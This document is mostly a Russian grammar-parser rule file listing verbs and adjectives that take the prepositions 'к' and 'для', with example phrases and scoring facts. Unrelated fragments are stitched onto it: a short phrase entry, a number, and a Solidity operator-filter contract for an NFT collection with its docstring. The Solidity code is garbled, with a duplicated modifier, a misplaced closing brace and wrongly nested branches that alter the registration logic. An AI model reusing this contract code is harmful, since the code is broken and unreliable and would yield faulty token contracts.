rus_verbs:подтягиваться{}, // подтягиваться к парламенту
rus_verbs:прилепить{}, // прилепить к стенке холодильника
rus_verbs:пододвинуться{}, // пододвинуться к экрану
rus_verbs:приползти{}, // приползти к дереву
rus_verbs:запаздывать{}, // запаздывать к обеду
rus_verbs:припереть{}, // припереть к стене
rus_verbs:нагибаться{}, // нагибаться к цветку
инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять к воротам
деепричастие:сгоняв{},
rus_verbs:поковылять{}, // поковылять к выходу
rus_verbs:привалить{}, // привалить к столбу
rus_verbs:отпроситься{}, // отпроситься к родителям
rus_verbs:приспосабливаться{}, // приспосабливаться к новым условиям
rus_verbs:прилипать{}, // прилипать к рукам
rus_verbs:подсоединить{}, // подсоединить к приборам
rus_verbs:приливать{}, // приливать к голове
rus_verbs:подселить{}, // подселить к другим новичкам
rus_verbs:прилепиться{}, // прилепиться к шкуре
rus_verbs:подлетать{}, // подлетать к пункту назначения
rus_verbs:пристегнуться{}, // пристегнуться к креслу ремнями
rus_verbs:прибиться{}, // прибиться к стае, улетающей на юг
rus_verbs:льнуть{}, // льнуть к заботливому хозяину
rus_verbs:привязываться{}, // привязываться к любящему хозяину
rus_verbs:приклеиться{}, // приклеиться к спине
rus_verbs:стягиваться{}, // стягиваться к сенату
rus_verbs:подготавливать{}, // подготавливать к выходу на арену
rus_verbs:приглашаться{}, // приглашаться к доктору
rus_verbs:причислять{}, // причислять к отличникам
rus_verbs:приколоть{}, // приколоть к лацкану
rus_verbs:наклонять{}, // наклонять к горизонту
rus_verbs:припадать{}, // припадать к первоисточнику
rus_verbs:приобщиться{}, // приобщиться к культурному наследию
rus_verbs:придираться{}, // придираться к мелким ошибкам
rus_verbs:приучать{}, // приучать к лотку
rus_verbs:промотать{}, // промотать к началу
rus_verbs:прихлынуть{}, // прихлынуть к голове
rus_verbs:пришвартоваться{}, // пришвартоваться к первому пирсу
rus_verbs:прикрутить{}, // прикрутить к велосипеду
rus_verbs:подплывать{}, // подплывать к лодке
rus_verbs:приравниваться{}, // приравниваться к побегу
rus_verbs:подстрекать{}, // подстрекать к вооруженной борьбе с оккупантами
rus_verbs:изготовляться{}, // изготовляться к прыжку из стратосферы
rus_verbs:приткнуться{}, // приткнуться к первой группе туристов
rus_verbs:приручить{}, // приручить котика к лотку
rus_verbs:приковывать{}, // приковывать к себе все внимание прессы
rus_verbs:приготовляться{}, // приготовляться к первому экзамену
rus_verbs:остыть{}, // Вода остынет к утру.
rus_verbs:приехать{}, // Он приедет к концу будущей недели.
rus_verbs:подсаживаться{},
rus_verbs:успевать{}, // успевать к стилисту
rus_verbs:привлекать{}, // привлекать к себе внимание
прилагательное:устойчивый{}, // переводить в устойчивую к перегреву форму
rus_verbs:прийтись{}, // прийтись ко двору
инфинитив:адаптировать{вид:несоверш}, // машина была адаптирована к условиям крайнего севера
инфинитив:адаптировать{вид:соверш},
глагол:адаптировать{вид:несоверш},
глагол:адаптировать{вид:соверш},
деепричастие:адаптировав{},
деепричастие:адаптируя{},
прилагательное:адаптирующий{},
прилагательное:адаптировавший{ вид:соверш },
//+прилагательное:адаптировавший{ вид:несоверш },
прилагательное:адаптированный{},
инфинитив:адаптироваться{вид:соверш}, // тело адаптировалось к условиям суровой зимы
инфинитив:адаптироваться{вид:несоверш},
глагол:адаптироваться{вид:соверш},
глагол:адаптироваться{вид:несоверш},
деепричастие:адаптировавшись{},
деепричастие:адаптируясь{},
прилагательное:адаптировавшийся{вид:соверш},
//+прилагательное:адаптировавшийся{вид:несоверш},
прилагательное:адаптирующийся{},
rus_verbs:апеллировать{}, // оратор апеллировал к патриотизму своих слушателей
rus_verbs:близиться{}, // Шторм близится к побережью
rus_verbs:доставить{}, // Эскиз ракеты, способной доставить корабль к Луне
rus_verbs:буксировать{}, // Буксир буксирует танкер к месту стоянки
rus_verbs:причислить{}, // Мы причислили его к числу экспертов
rus_verbs:вести{}, // Наша партия ведет народ к процветанию
rus_verbs:взывать{}, // Учителя взывают к совести хулигана
rus_verbs:воззвать{}, // воззвать соплеменников к оружию
rus_verbs:возревновать{}, // возревновать к поклонникам
rus_verbs:воспылать{}, // Коля воспылал к Оле страстной любовью
rus_verbs:восходить{}, // восходить к вершине
rus_verbs:восшествовать{}, // восшествовать к вершине
rus_verbs:успеть{}, // успеть к обеду
rus_verbs:повернуться{}, // повернуться к кому-то
rus_verbs:обратиться{}, // обратиться к охраннику
rus_verbs:звать{}, // звать к столу
rus_verbs:отправиться{}, // отправиться к парикмахеру
rus_verbs:обернуться{}, // обернуться к зовущему
rus_verbs:явиться{}, // явиться к следователю
rus_verbs:уехать{}, // уехать к родне
rus_verbs:прибыть{}, // прибыть к перекличке
rus_verbs:привыкнуть{}, // привыкнуть к голоду
rus_verbs:уходить{}, // уходить к цыганам
rus_verbs:привести{}, // привести к себе
rus_verbs:шагнуть{}, // шагнуть к славе
rus_verbs:относиться{}, // относиться к прежним периодам
rus_verbs:подослать{}, // подослать к врагам
rus_verbs:поспешить{}, // поспешить к обеду
rus_verbs:зайти{}, // зайти к подруге
rus_verbs:позвать{}, // позвать к себе
rus_verbs:потянуться{}, // потянуться к рычагам
rus_verbs:пускать{}, // пускать к себе
rus_verbs:отвести{}, // отвести к врачу
rus_verbs:приблизиться{}, // приблизиться к решению задачи
rus_verbs:прижать{}, // прижать к стене
rus_verbs:отправить{}, // отправить к доктору
rus_verbs:падать{}, // падать к многолетним минимумам
rus_verbs:полезть{}, // полезть к дерущимся
rus_verbs:лезть{}, // Ты сама ко мне лезла!
rus_verbs:направить{}, // направить к майору
rus_verbs:приводить{}, // приводить к дантисту
rus_verbs:кинуться{}, // кинуться к двери
rus_verbs:поднести{}, // поднести к глазам
rus_verbs:подниматься{}, // подниматься к себе
rus_verbs:прибавить{}, // прибавить к результату
rus_verbs:зашагать{}, // зашагать к выходу
rus_verbs:склониться{}, // склониться к земле
rus_verbs:стремиться{}, // стремиться к вершине
rus_verbs:лететь{}, // лететь к родственникам
rus_verbs:ездить{}, // ездить к любовнице
rus_verbs:приближаться{}, // приближаться к финише
rus_verbs:помчаться{}, // помчаться к стоматологу
rus_verbs:прислушаться{}, // прислушаться к происходящему
rus_verbs:изменить{}, // изменить к лучшему собственную жизнь
rus_verbs:проявить{}, // проявить к погибшим сострадание
rus_verbs:подбежать{}, // подбежать к упавшему
rus_verbs:терять{}, // терять к партнерам доверие
rus_verbs:пропустить{}, // пропустить к певцу
rus_verbs:подвести{}, // подвести к глазам
rus_verbs:меняться{}, // меняться к лучшему
rus_verbs:заходить{}, // заходить к другу
rus_verbs:рвануться{}, // рвануться к воде
rus_verbs:привлечь{}, // привлечь к себе внимание
rus_verbs:присоединиться{}, // присоединиться к сети
rus_verbs:приезжать{}, // приезжать к дедушке
rus_verbs:дернуться{}, // дернуться к борту
rus_verbs:подъехать{}, // подъехать к воротам
rus_verbs:готовиться{}, // готовиться к дождю
rus_verbs:убежать{}, // убежать к маме
rus_verbs:поднимать{}, // поднимать к источнику сигнала
rus_verbs:отослать{}, // отослать к руководителю
rus_verbs:приготовиться{}, // приготовиться к худшему
rus_verbs:приступить{}, // приступить к выполнению обязанностей
rus_verbs:метнуться{}, // метнуться к фонтану
rus_verbs:прислушиваться{}, // прислушиваться к голосу разума
rus_verbs:побрести{}, // побрести к выходу
rus_verbs:мчаться{}, // мчаться к успеху
rus_verbs:нестись{}, // нестись к обрыву
rus_verbs:попадать{}, // попадать к хорошему костоправу
rus_verbs:опоздать{}, // опоздать к психотерапевту
rus_verbs:посылать{}, // посылать к доктору
rus_verbs:поплыть{}, // поплыть к берегу
rus_verbs:подтолкнуть{}, // подтолкнуть к активной работе
rus_verbs:отнести{}, // отнести животное к ветеринару
rus_verbs:прислониться{}, // прислониться к стволу
rus_verbs:наклонить{}, // наклонить к миске с молоком
rus_verbs:прикоснуться{}, // прикоснуться к поверхности
rus_verbs:увезти{}, // увезти к бабушке
rus_verbs:заканчиваться{}, // заканчиваться к концу путешествия
rus_verbs:подозвать{}, // подозвать к себе
rus_verbs:улететь{}, // улететь к теплым берегам
rus_verbs:ложиться{}, // ложиться к мужу
rus_verbs:убираться{}, // убираться к чертовой бабушке
rus_verbs:класть{}, // класть к другим документам
rus_verbs:доставлять{}, // доставлять к подъезду
rus_verbs:поворачиваться{}, // поворачиваться к источнику шума
rus_verbs:заглядывать{}, // заглядывать к любовнице
rus_verbs:занести{}, // занести к заказчикам
rus_verbs:прибежать{}, // прибежать к папе
rus_verbs:притянуть{}, // притянуть к причалу
rus_verbs:переводить{}, // переводить в устойчивую к перегреву форму
rus_verbs:подать{}, // он подал лимузин к подъезду
rus_verbs:подавать{}, // она подавала соус к мясу
rus_verbs:приобщаться{}, // приобщаться к культуре
прилагательное:неспособный{}, // Наша дочка неспособна к учению.
прилагательное:неприспособленный{}, // Эти устройства неприспособлены к работе в жару
прилагательное:предназначенный{}, // Старый дом предназначен к сносу.
прилагательное:внимательный{}, // Она всегда внимательна к гостям.
прилагательное:назначенный{}, // Дело назначено к докладу.
прилагательное:разрешенный{}, // Эта книга разрешена к печати.
прилагательное:снисходительный{}, // Этот учитель снисходителен к ученикам.
прилагательное:готовый{}, // Я готов к экзаменам.
прилагательное:требовательный{}, // Он очень требователен к себе.
прилагательное:жадный{}, // Он жаден к деньгам.
прилагательное:глухой{}, // Он глух к моей просьбе.
прилагательное:добрый{}, // Он добр к детям.
rus_verbs:проявлять{}, // Он всегда проявлял живой интерес к нашим делам.
rus_verbs:плыть{}, // Пароход плыл к берегу.
rus_verbs:пойти{}, // я пошел к доктору
rus_verbs:придти{}, // придти к выводу
rus_verbs:заглянуть{}, // Я заглянул к вам мимоходом.
rus_verbs:принадлежать{}, // Это существо принадлежит к разряду растений.
rus_verbs:подготавливаться{}, // Ученики подготавливаются к экзаменам.
rus_verbs:спускаться{}, // Улица круто спускается к реке.
rus_verbs:спуститься{}, // Мы спустились к реке.
rus_verbs:пустить{}, // пускать ко дну
rus_verbs:приговаривать{}, // Мы приговариваем тебя к пожизненному веселью!
rus_verbs:отойти{}, // Дом отошёл к племяннику.
rus_verbs:отходить{}, // Коля отходил ко сну.
rus_verbs:приходить{}, // местные жители к нему приходили лечиться
rus_verbs:кидаться{}, // не кидайся к столу
rus_verbs:ходить{}, // Она простудилась и сегодня ходила к врачу.
rus_verbs:закончиться{}, // Собрание закончилось к вечеру.
rus_verbs:послать{}, // Они выбрали своих депутатов и послали их к заведующему.
rus_verbs:направиться{}, // Мы сошли на берег и направились к городу.
rus_verbs:направляться{},
rus_verbs:свестись{}, // Всё свелось к нулю.
rus_verbs:прислать{}, // Пришлите кого-нибудь к ней.
rus_verbs:присылать{}, // Он присылал к должнику своих головорезов
rus_verbs:подлететь{}, // Самолёт подлетел к лесу.
rus_verbs:возвращаться{}, // он возвращается к старой работе
глагол:находиться{ вид:несоверш }, инфинитив:находиться{ вид:несоверш }, деепричастие:находясь{},
прилагательное:находившийся{}, прилагательное:находящийся{}, // Япония находится к востоку от Китая.
rus_verbs:возвращать{}, // возвращать к жизни
rus_verbs:располагать{}, // Атмосфера располагает к работе.
rus_verbs:возвратить{}, // Колокольный звон возвратил меня к прошлому.
rus_verbs:поступить{}, // К нам поступила жалоба.
rus_verbs:поступать{}, // К нам поступают жалобы.
rus_verbs:прыгнуть{}, // Белка прыгнула к дереву
rus_verbs:торопиться{}, // пассажиры торопятся к выходу
rus_verbs:поторопиться{}, // поторопитесь к выходу
rus_verbs:вернуть{}, // вернуть к активной жизни
rus_verbs:припирать{}, // припирать к стенке
rus_verbs:проваливать{}, // Проваливай ко всем чертям!
rus_verbs:вбежать{}, // Коля вбежал ко мне
rus_verbs:вбегать{}, // Коля вбегал ко мне
глагол:забегать{ вид:несоверш }, // Коля забегал ко мне
rus_verbs:постучаться{}, // Коля постучался ко мне.
rus_verbs:повести{}, // Спросил я озорного Антонио и повел его к дому
rus_verbs:понести{}, // Мы понесли кота к ветеринару
rus_verbs:принести{}, // Я принес кота к ветеринару
rus_verbs:устремиться{}, // Мы устремились к ручью.
rus_verbs:подводить{}, // Учитель подводил детей к аквариуму
rus_verbs:следовать{}, // Я получил приказ следовать к месту нового назначения.
rus_verbs:пригласить{}, // Я пригласил к себе товарищей.
rus_verbs:собираться{}, // Я собираюсь к тебе в гости.
rus_verbs:собраться{}, // Маша собралась к дантисту
rus_verbs:сходить{}, // Я схожу к врачу.
rus_verbs:идти{}, // Маша уверенно шла к Пете
rus_verbs:измениться{}, // Основные индексы рынка акций РФ почти не изменились к закрытию.
rus_verbs:отыграть{}, // Российский рынок акций отыграл падение к закрытию.
rus_verbs:заканчивать{}, // Заканчивайте к обеду
rus_verbs:обращаться{}, // Обращайтесь ко мне в любое время
rus_verbs:окончить{}, //
rus_verbs:дозвониться{}, // Я не мог к вам дозвониться.
глагол:прийти{}, инфинитив:прийти{}, // Антонио пришел к Элеонор
rus_verbs:уйти{}, // Антонио ушел к Элеонор
rus_verbs:бежать{}, // Антонио бежит к Элеонор
rus_verbs:спешить{}, // Антонио спешит к Элеонор
rus_verbs:скакать{}, // Антонио скачет к Элеонор
rus_verbs:красться{}, // Антонио крадётся к Элеонор
rus_verbs:поскакать{}, // беглецы поскакали к холмам
rus_verbs:перейти{} // Антонио перешел к Элеонор
}
fact гл_предл
{
if context { Гл_К_Дат предлог:к{} *:*{ падеж:дат } }
then return true
}
fact гл_предл
{
if context { Гл_К_Дат предлог:к{} @regex("[a-z]+[0-9]*") }
then return true
}
// для остальных падежей запрещаем.
fact гл_предл
{
if context { * предлог:к{} *:*{} }
then return false,-5
}
#endregion Предлог_К
#region Предлог_ДЛЯ
// ------------------- С ПРЕДЛОГОМ 'ДЛЯ' ----------------------
wordentry_set Гл_ДЛЯ_Род={
частица:нет{}, // для меня нет других путей.
частица:нету{},
rus_verbs:ЗАДЕРЖАТЬ{}, // полиция может задержать их для выяснения всех обстоятельств и дальнейшего опознания. (ЗАДЕРЖАТЬ)
rus_verbs:ДЕЛАТЬСЯ{}, // это делалось для людей (ДЕЛАТЬСЯ)
rus_verbs:обернуться{}, // обернулась для греческого рынка труда банкротствами предприятий и масштабными сокращениями (обернуться)
rus_verbs:ПРЕДНАЗНАЧАТЬСЯ{}, // Скорее всего тяжелый клинок вообще не предназначался для бросков (ПРЕДНАЗНАЧАТЬСЯ)
rus_verbs:ПОЛУЧИТЬ{}, // ты можешь получить его для нас? (ПОЛУЧИТЬ)
rus_verbs:ПРИДУМАТЬ{}, // Ваш босс уже придумал для нас веселенькую смерть. (ПРИДУМАТЬ)
rus_verbs:оказаться{}, // это оказалось для них тяжелой задачей
rus_verbs:ГОВОРИТЬ{}, // теперь она говорила для нас обоих (ГОВОРИТЬ)
rus_verbs:ОСВОБОДИТЬ{}, // освободить ее для тебя? (ОСВОБОДИТЬ)
rus_verbs:работать{}, // Мы работаем для тех, кто ценит удобство
rus_verbs:СТАТЬ{}, // кем она станет для него? (СТАТЬ)
rus_verbs:ЯВИТЬСЯ{}, // вы для этого явились сюда? (ЯВИТЬСЯ)
rus_verbs:ПОТЕРЯТЬ{}, // жизнь потеряла для меня всякий смысл (ПОТЕРЯТЬ)
rus_verbs:УТРАТИТЬ{}, // мой мир утратил для меня всякое подобие смысла (УТРАТИТЬ)
rus_verbs:ДОСТАТЬ{}, // ты должен достать ее для меня! (ДОСТАТЬ)
rus_verbs:БРАТЬ{}, // некоторые берут для себя (БРАТЬ)
rus_verbs:ИМЕТЬ{}, // имею для вас новость (ИМЕТЬ)
rus_verbs:ЖДАТЬ{}, // тебя ждут для разговора (ЖДАТЬ)
rus_verbs:ПРОПАСТЬ{}, // совсем пропал для мира (ПРОПАСТЬ)
rus_verbs:ПОДНЯТЬ{}, // нас подняли для охоты (ПОДНЯТЬ)
rus_verbs:ОСТАНОВИТЬСЯ{}, // время остановилось для нее (ОСТАНОВИТЬСЯ)
rus_verbs:НАЧИНАТЬСЯ{}, // для него начинается новая жизнь (НАЧИНАТЬСЯ)
rus_verbs:КОНЧИТЬСЯ{}, // кончились для него эти игрушки (КОНЧИТЬСЯ)
rus_verbs:НАСТАТЬ{}, // для него настало время действовать (НАСТАТЬ)
rus_verbs:СТРОИТЬ{}, // для молодых строили новый дом (СТРОИТЬ)
rus_verbs:ВЗЯТЬ{}, // возьми для защиты этот меч (ВЗЯТЬ)
rus_verbs:ВЫЯСНИТЬ{}, // попытаюсь выяснить для вас всю цепочку (ВЫЯСНИТЬ)
rus_verbs:ПРИГОТОВИТЬ{}, // давай попробуем приготовить для них сюрприз (ПРИГОТОВИТЬ)
rus_verbs:ПОДХОДИТЬ{}, // берег моря мертвых подходил для этого идеально (ПОДХОДИТЬ)
rus_verbs:ОСТАТЬСЯ{}, // внешний вид этих тварей остался для нас загадкой (ОСТАТЬСЯ)
rus_verbs:ПРИВЕЗТИ{}, // для меня привезли пиво (ПРИВЕЗТИ)
прилагательное:ХАРАКТЕРНЫЙ{}, // Для всей территории края характерен умеренный континентальный климат (ХАРАКТЕРНЫЙ)
rus_verbs:ПРИВЕСТИ{}, // для меня белую лошадь привели (ПРИВЕСТИ ДЛЯ)
rus_verbs:ДЕРЖАТЬ{}, // их держат для суда (ДЕРЖАТЬ ДЛЯ)
rus_verbs:ПРЕДОСТАВИТЬ{}, // вьетнамец предоставил для мигрантов места проживания в ряде вологодских общежитий (ПРЕДОСТАВИТЬ ДЛЯ)
rus_verbs:ПРИДУМЫВАТЬ{}, // придумывая для этого разнообразные причины (ПРИДУМЫВАТЬ ДЛЯ)
rus_verbs:оставить{}, // или вообще решили оставить планету для себя
rus_verbs:оставлять{},
rus_verbs:ВОССТАНОВИТЬ{}, // как ты можешь восстановить это для меня? (ВОССТАНОВИТЬ ДЛЯ)
rus_verbs:ТАНЦЕВАТЬ{}, // а вы танцевали для меня танец семи покрывал (ТАНЦЕВАТЬ ДЛЯ)
rus_verbs:ДАТЬ{}, // твой принц дал мне это для тебя! (ДАТЬ ДЛЯ)
rus_verbs:ВОСПОЛЬЗОВАТЬСЯ{}, // мужчина из лагеря решил воспользоваться для передвижения рекой (ВОСПОЛЬЗОВАТЬСЯ ДЛЯ)
rus_verbs:СЛУЖИТЬ{}, // они служили для разговоров (СЛУЖИТЬ ДЛЯ)
rus_verbs:ИСПОЛЬЗОВАТЬСЯ{}, // Для вычисления радиуса поражения ядерных взрывов используется формула (ИСПОЛЬЗОВАТЬСЯ ДЛЯ)
rus_verbs:ПРИМЕНЯТЬСЯ{}, // Применяется для изготовления алкогольных коктейлей (ПРИМЕНЯТЬСЯ ДЛЯ)
rus_verbs:СОВЕРШАТЬСЯ{}, // Для этого совершался специальный магический обряд (СОВЕРШАТЬСЯ ДЛЯ)
rus_verbs:ПРИМЕНИТЬ{}, // а здесь попробуем применить ее для других целей. (ПРИМЕНИТЬ ДЛЯ)
rus_verbs:ПОЗВАТЬ{}, // ты позвал меня для настоящей работы. (ПОЗВАТЬ ДЛЯ)
rus_verbs:НАЧАТЬСЯ{}, // очередной денек начался для Любки неудачно (НАЧАТЬСЯ ДЛЯ)
rus_verbs:ПОСТАВИТЬ{}, // вас здесь для красоты поставили? (ПОСТАВИТЬ ДЛЯ)
rus_verbs:умереть{}, // или умерла для всяких чувств? (умереть для)
rus_verbs:ВЫБРАТЬ{}, // ты сам выбрал для себя этот путь. (ВЫБРАТЬ ДЛЯ)
rus_verbs:ОТМЕТИТЬ{}, // тот же отметил для себя другое. (ОТМЕТИТЬ ДЛЯ)
rus_verbs:УСТРОИТЬ{}, // мы хотим устроить для них школу. (УСТРОИТЬ ДЛЯ)
rus_verbs:БЫТЬ{}, // у меня есть для тебя работа. (БЫТЬ ДЛЯ)
rus_verbs:ВЫЙТИ{}, // для всего нашего поколения так вышло. (ВЫЙТИ ДЛЯ)
прилагательное:ВАЖНЫЙ{}, // именно твое мнение для нас крайне важно. (ВАЖНЫЙ ДЛЯ)
прилагательное:НУЖНЫЙ{}, // для любого племени нужна прежде всего сила. (НУЖЕН ДЛЯ)
прилагательное:ДОРОГОЙ{}, // эти места были дороги для них обоих. (ДОРОГОЙ ДЛЯ)
rus_verbs:НАСТУПИТЬ{}, // теперь для больших людей наступило время действий. (НАСТУПИТЬ ДЛЯ)
rus_verbs:ДАВАТЬ{}, // старый пень давал для этого хороший огонь. (ДАВАТЬ ДЛЯ)
rus_verbs:ГОДИТЬСЯ{}, // доброе старое время годится лишь для воспоминаний. (ГОДИТЬСЯ ДЛЯ)
rus_verbs:ТЕРЯТЬ{}, // время просто теряет для вас всякое значение. (ТЕРЯТЬ ДЛЯ)
rus_verbs:ЖЕНИТЬСЯ{}, // настало время жениться для пользы твоего клана. (ЖЕНИТЬСЯ ДЛЯ)
rus_verbs:СУЩЕСТВОВАТЬ{}, // весь мир перестал существовать для них обоих. (СУЩЕСТВОВАТЬ ДЛЯ)
rus_verbs:ЖИТЬ{}, // жить для себя или жить для них. (ЖИТЬ ДЛЯ)
rus_verbs:открыть{}, // двери моего дома всегда открыты для вас. (ОТКРЫТЫЙ ДЛЯ)
rus_verbs:закрыть{}, // этот мир будет закрыт для них. (ЗАКРЫТЫЙ ДЛЯ)
rus_verbs:ТРЕБОВАТЬСЯ{}, // для этого требуется огромное количество энергии. (ТРЕБОВАТЬСЯ ДЛЯ)
rus_verbs:РАЗОРВАТЬ{}, // Алексей разорвал для этого свою рубаху. (РАЗОРВАТЬ ДЛЯ)
rus_verbs:ПОДОЙТИ{}, // вполне подойдет для начала нашей экспедиции. (ПОДОЙТИ ДЛЯ)
прилагательное:опасный{}, // сильный холод опасен для открытой раны. (ОПАСЕН ДЛЯ)
rus_verbs:ПРИЙТИ{}, // для вас пришло очень важное сообщение. (ПРИЙТИ ДЛЯ)
rus_verbs:вывести{}, // мы специально вывели этих животных для мяса.
rus_verbs:убрать{}, // В вагонах метро для комфорта пассажиров уберут сиденья (УБРАТЬ В, ДЛЯ)
rus_verbs:оставаться{}, // механизм этого воздействия остается для меня загадкой. (остается для)
rus_verbs:ЯВЛЯТЬСЯ{}, // Чай является для китайцев обычным ежедневным напитком (ЯВЛЯТЬСЯ ДЛЯ)
rus_verbs:ПРИМЕНЯТЬ{}, // Для оценок будущих изменений климата применяют модели общей циркуляции атмосферы. (ПРИМЕНЯТЬ ДЛЯ)
rus_verbs:ПОВТОРЯТЬ{}, // повторяю для Пети (ПОВТОРЯТЬ ДЛЯ)
rus_verbs:УПОТРЕБЛЯТЬ{}, // Краски, употребляемые для живописи (УПОТРЕБЛЯТЬ ДЛЯ)
rus_verbs:ВВЕСТИ{}, // Для злостных нарушителей предложили ввести повышенные штрафы (ВВЕСТИ ДЛЯ)
rus_verbs:найтись{}, // у вас найдется для него работа?
rus_verbs:заниматься{}, // они занимаются этим для развлечения. (заниматься для)
rus_verbs:заехать{}, // Коля заехал для обсуждения проекта
rus_verbs:созреть{}, // созреть для побега
rus_verbs:наметить{}, // наметить для проверки
rus_verbs:уяснить{}, // уяснить для себя
rus_verbs:нанимать{}, // нанимать для разовой работы
rus_verbs:приспособить{}, // приспособить для удовольствия
rus_verbs:облюбовать{}, // облюбовать для посиделок
rus_verbs:прояснить{}, // прояснить для себя
rus_verbs:задействовать{}, // задействовать для патрулирования
rus_verbs:приготовлять{}, // приготовлять для проверки
инфинитив:использовать{ вид:соверш }, // использовать для достижения цели
инфинитив:использовать{ вид:несоверш },
глагол:использовать{ вид:соверш },
глагол:использовать{ вид:несоверш },
прилагательное:использованный{},
деепричастие:используя{},
деепричастие:использовав{},
rus_verbs:напрячься{}, // напрячься для решительного рывка
rus_verbs:одобрить{}, // одобрить для использования
rus_verbs:одобрять{}, // одобрять для использования
rus_verbs:пригодиться{}, // пригодиться для тестирования
rus_verbs:готовить{}, // готовить для выхода в свет
rus_verbs:отобрать{}, // отобрать для участия в конкурсе
rus_verbs:потребоваться{}, // потребоваться для подтверждения
rus_verbs:пояснить{}, // пояснить для слушателей
rus_verbs:пояснять{}, // пояснить для экзаменаторов
rus_verbs:понадобиться{}, // понадобиться для обоснования
инфинитив:адаптировать{вид:несоверш}, // машина была адаптирована для условий крайнего севера
инфинитив:адаптировать{вид:соверш},
глагол:адаптировать{вид:несоверш},
глагол:адаптировать{вид:соверш},
деепричастие:адаптировав{},
деепричастие:адаптируя{},
прилагательное:адаптирующий{},
прилагательное:адаптировавший{ вид:соверш },
//+прилагательное:адаптировавший{ вид:несоверш },
прилагательное:адаптированный{},
rus_verbs:найти{}, // Папа нашел для детей няню
прилагательное:вредный{}, // Это вредно для здоровья.
прилагательное:полезный{}, // Прогулки полезны для здоровья.
прилагательное:обязательный{}, // Этот пункт обязателен для исполнения
прилагательное:бесполезный{}, // Это лекарство бесполезно для него
прилагательное:необходимый{}, // Это лекарство необходимо для выздоровления
rus_verbs:создать{}, // Он не создан для этого дела.
прилагательное:сложный{}, // задача сложна для младших школьников
прилагательное:несложный{},
прилагательное:лёгкий{},
прилагательное:сложноватый{},
rus_verbs:становиться{},
rus_verbs:представлять{}, // Это не представляет для меня интереса.
rus_verbs:значить{}, // Я рос в деревне и хорошо знал, что для деревенской жизни значат пруд или речка
rus_verbs:пройти{}, // День прошёл спокойно для него.
rus_verbs:проходить{},
rus_verbs:высадиться{}, // большой злой пират и его отчаянные помощники высадились на необитаемом острове для поиска зарытых сокровищ
rus_verbs:высаживаться{},
rus_verbs:прибавлять{}, // Он любит прибавлять для красного словца.
rus_verbs:прибавить{},
rus_verbs:составить{}, // Ряд тригонометрических таблиц был составлен для астрономических расчётов.
rus_verbs:составлять{},
rus_verbs:стараться{}, // Я старался для вас
rus_verbs:постараться{}, // Я постарался для вас
rus_verbs:сохраниться{}, // Старик хорошо сохранился для своего возраста.
rus_verbs:собраться{}, // собраться для обсуждения
rus_verbs:собираться{}, // собираться для обсуждения
rus_verbs:уполномочивать{},
rus_verbs:уполномочить{}, // его уполномочили для ведения переговоров
rus_verbs:принести{}, // Я принёс эту книгу для вас.
rus_verbs:делать{}, // Я это делаю для удовольствия.
rus_verbs:сделать{}, // Я сделаю это для удовольствия.
rus_verbs:подготовить{}, // я подготовил для друзей сюрприз
rus_verbs:подготавливать{}, // я подготавливаю для гостей новый сюрприз
rus_verbs:закупить{}, // Руководство района обещало закупить новые комбайны для нашего села
rus_verbs:купить{}, // Руководство района обещало купить новые комбайны для нашего села
rus_verbs:прибыть{} // они прибыли для участия
}
fact гл_предл
{
if context { Гл_ДЛЯ_Род предлог:для{} *:*{ падеж:род } }
then return true
}
fact гл_предл
{
if context { Гл_ДЛЯ_Род предлог:для{} @regex("[a-z]+[0-9]*") }
then return true
}
// для остальных падежей запрещаем.
fact гл_предл
{
if context { * предлог:для{} *:*{} }
then return false,-4
}
#endregion Предлог_ДЛЯ
#region Предлог_ОТ
// попробуем иную стратегию - запретить связывание с ОТ для отдельных глаголов, разрешив для всех остальных.
wordentry_set Глаг_ОТ_Род_Запр=
{
rus_verbs:наслаждаться{}, // свободой от обязательств
rus_verbs:насладиться{},
rus_verbs:мочь{}, // Он не мог удержаться от смеха.
// rus_verbs:хотеть{},
rus_verbs:желать{},
rus_verbs:чувствовать{}, // все время от времени чувствуют его.
rus_verbs:планировать{},
rus_verbs:приняться{} // мы принялись обниматься от радости.
}
fact гл_предл
{
if context { Глаг_ОТ_Род_Запр предлог:от{} * }
then return false
}
#endregion Предлог_ОТ
#region Предлог_БЕЗ
/*
// запретить связывание с БЕЗ для отдельных глаголов, разрешив для всех остальных.
wordentry_set Глаг_БЕЗ_Род_Запр=
{
rus_verbs:мочь{}, // Он мог читать часами без отдыха.
rus_verbs:хотеть{},
rus_verbs:желать{},
rus_verbs:планировать{},
rus_verbs:приняться{}
}
fact гл_предл
{
if context { Глаг_БЕЗ_Род_Запр предлог:без{} * }
then return false
}
*/
#endregion Предлог_БЕЗ
#region Предлог_КРОМЕ
fact гл_предл
{
if context { * ПредлогДляВсе * }
then return false,-5
}
#endregion Предлог_КРОМЕ
// ------------------------------------
// По умолчанию разрешаем все остальные сочетания.
fact гл_предл
{
if context { * * * }
then return true
}
|
выпустить на свободу
|
rus_verbs:выпустить{},
| 5,486,173
|
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./partial_match/1/0xdbc61a1685C6F70c11cBb7da70338352b1Fa4d51/sources/DigiDaigakuGiantDragons.sol
|
* @title InitializableOperatorFilterer @notice Abstract contract whose initializer function automatically registers and optionally subscribes to or copies another registrant's entries in the OperatorFilterRegistry. @dev This smart contract is meant to be inherited by token contracts so they can use the following: - `onlyAllowedOperator` modifier for `transferFrom` and `safeTransferFrom` methods. - `onlyAllowedOperatorApproval` modifier for `approve` and `setApprovalForAll` methods. This is safe for use in EIP-1167 clones/
|
abstract contract InitializableOperatorFilterer is IOperatorFiltererInitializer {
error OperatorNotAllowed(address operator);
IOperatorFilterRegistry public constant OPERATOR_FILTER_REGISTRY = IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);
}
modifier onlyAllowedOperator(address from) virtual {
if (from != msg.sender) {
_checkFilterOperator(msg.sender);
}
_;
}
modifier onlyAllowedOperator(address from) virtual {
if (from != msg.sender) {
_checkFilterOperator(msg.sender);
}
_;
}
modifier onlyAllowedOperatorApproval(address operator) virtual {
_checkFilterOperator(operator);
_;
}
function initializeOperatorFilterer(address subscriptionOrRegistrantToCopy, bool subscribe) public virtual override {
if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {
if (subscribe) {
OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), subscriptionOrRegistrantToCopy);
if (subscriptionOrRegistrantToCopy != address(0)) {
OPERATOR_FILTER_REGISTRY.registerAndCopyEntries(address(this), subscriptionOrRegistrantToCopy);
OPERATOR_FILTER_REGISTRY.register(address(this));
}
}
}
}
